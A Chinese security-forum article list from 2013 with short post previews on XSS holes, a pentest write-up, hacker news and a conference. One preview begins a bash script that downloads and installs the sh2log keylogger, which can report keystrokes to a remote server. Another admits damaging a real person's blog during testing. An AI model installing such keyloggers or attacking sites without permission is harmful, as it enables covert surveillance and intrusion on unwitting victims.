文章列表

掌中英语(zzenglish.net)某应用存储型XSS跨站漏洞可盲打

2013-9-28 23:17 1 4628

中国黑客被指利用IE发起网络攻击

中国黑客的常被国外的一些安全机构视为威胁对象，此类话题也常见于外媒报端，近日《华尔街日报》又报道称，三家美国安全公司指责，中国某精英黑客小组似乎是最近利用微软IE浏览器的安全漏洞“进行网络攻击”的发动者。报道称，这次的攻击在安全界内引发了格外的担忧，因为它暴露出世界上使用最多的软件

2013-9-28 19:11 3 1580

渗透测试回复87次

拿MYHACK社工库图解

截止发帖，已经搞坏了他的BLOG，博主如何看到了，只能说抱歉了，重新复制一份wp-include 下的 pluggable.php 即可，这里没录像，只有过程中的一部分截图，没技术可言，当水帖看吧1. 首先探测网站上有哪些信息，发现共两套程序，一套供数据查询的PHP框架和用wordpress搭建的BLOG2.使用工具wpscan扫描

2013-9-26 12:27 87 11860

安全资讯回复17次

一，python特性概要 1，python是解释型语言，我们和c比较一下 root@GK:~# cat hello.c #include "stdio.h"int main(void){printf("hello t00ls \n");}root@GK:~# gcc hello.c -o helloroot@GK:~# ./hello hello t00ls root@GK:~# 每次修改源文件都要重新编译一下，python则不用root@GK:~# cat h

2013-9-26 01:13 56 9537

渗透测试回复18次

uc + xss 实现android远程定位追踪

1:前言当PC时代的辉光逐渐隐入了暮霭，一轮更加炫目的红日正在缓缓升起，时至今日，移动互联网已经成为引领时代发展与前沿技术不断革新的中流砥柱，短短十数年间，手机的兴盛就超出了所有人的预料，大海淘沙，洗尽多少红尘铅华，新的思想，新的技术如雨后春笋般，让人目不暇接。智能化网络、云计算

2013-9-25 21:44 18 5467

自动安装sh2log键盘记录的脚本

关于sh2log参考 http://fuzzexp.org/linuxsh2log_keylogger.html其实sh2log是可以设置成发送到远端的服务器，实时监控键盘记录。具体可以参考源码中readme：#!/bin/bash###from tools.net#run the script as rootecho "installing sh2log "dlurl='http://packetstorm.foofus.com/UNIX/loggers/sh2log-1

2013-9-24 17:44 15 5799

安全资讯回复5次

2013中国互联网安全大会

为更好地应对互联网安全挑战，交流最新的安全技术与解决方案，国内规模最大的信息安全专业会议——2013中国互联网安全大会将于2013年9月23-25日在北京举行。此次大会由国家互联网应急中心指导，360公司主办，得到网络安全应急技术国家工程实验室、OWASP、Gartner等知名机构的支持与深度参与，同时引入

2013-9-24 08:59 5 2141